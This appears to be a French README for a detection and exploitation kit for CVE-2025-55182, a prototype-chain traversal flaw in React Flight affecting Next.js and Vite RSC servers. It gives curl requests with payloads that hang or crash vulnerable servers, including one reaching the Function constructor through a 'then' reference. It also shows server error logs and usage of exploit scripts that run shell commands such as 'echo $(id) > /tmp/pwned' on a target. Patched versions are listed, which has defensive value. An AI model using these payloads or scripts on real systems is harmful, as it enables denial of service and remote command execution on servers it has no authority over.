
Véritable détection et exploitation de la CVE-2025-55182. Pas de conneries d'LLMs.
Vulnérabilité du protocole React Flight permettant le parcours de la chaîne de prototypes via les références de chunks. Testé sur bullshit-react-project.
Ceci est légèrement obsolète car le véritable PoC a maintenant été révélé.
Vite RSC : bash ./vite-detect.sh https://example.com
Next.js : bash ./nextjs-detect.sh https://example.com
Ou pour faire les deux, faites simplement bash ./detect.sh https://example.com
Les deux scripts acceptent un paramètre de timeout optionnel (par défaut 3s pour Vite, 5s pour Next.js).
Envoie l'en-tête x-rsc-action avec la charge utile $1:toString. Les serveurs vulnérables se bloquent indéfiniment ; les serveurs corrigés répondent normalement. Vérifie d'abord le point de terminaison RSC (attend une erreur HTTP 500 sur une action invalide).
Découvre les ID d'action serveur à partir de la réponse de la page (motif $ACTION_ID_<hash>), puis envoie :
curl -X POST "http://localhost:3000" \
-H "Next-Action: <action_id>" \
-H "Accept: text/x-component" \
-F '0=["$1:a:a"]' \
-F '1={}'
Les serveurs vulnérables se bloquent ; les serveurs corrigés répondent rapidement.
Next.js : Mettez à jour vers 16.0.7, 15.5.7 ou 15.4.8
React (Vite RSC) : Mettez à jour vers 19.0.1+, 19.1.2+ ou 19.2.1+
Le protocole Flight de React permet le parcours de la chaîne de prototypes via les références de chunks. La fonction getOutlinedModel itère à travers les chemins de référence sans vérifications hasOwnProperty :
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
Cela permet à $1:constructor:constructor de parcourir {}.constructor.constructor → Function.
Point de terminaison : Tout chemin avec l'en-tête x-rsc-action
ID d'action : 710363d987f5#loginUser (ou toute action serveur valide)
curl -X POST "http://localhost:4173/xyz" \
-H "x-rsc-action: 710363d987f5#loginUser" \
-F '0={"then":"$1:constructor:constructor"}' \
-F '1={"a":"b"}'
Vulnérable : Internal Server Error
Corrigé : Réponse normale
Notez que vous obtiendrez une erreur 500 sur un serveur corrigé si vos ID x-rsc-action sont incorrects. C'est juste que les journaux du serveur seront différents.
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>)
Le constructeur Function a été invoqué via .then() lorsque l'objet était awaité. V8 passe les fonctions resolve/reject comme arguments, qui se sérialisent en function () { [native code] } - d'où l'erreur de syntaxe.
Error: server reference not found '310363d987f5'
at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
Aucun journal serveur n'apparaît avec un x-rsc-action valide. Vous pouvez trouver le x-rsc-action correct en exécutant une véritable action serveur et en capturant la requête dans les outils de développement.
La charge utile $1:toString bloque les serveurs vulnérables indéfiniment - c'est ce que les scripts de détection utilisent. J'ai essayé presque tout mais je n'arrive pas à obtenir une exécution de code à distance (RCE).
Pour Vite Rsc :
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'
Pour NextJS :
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'
J'ai simplement fait quelques adaptations et l'ai adapté pour Vite qui est en ESM pur et n'a donc pas de require.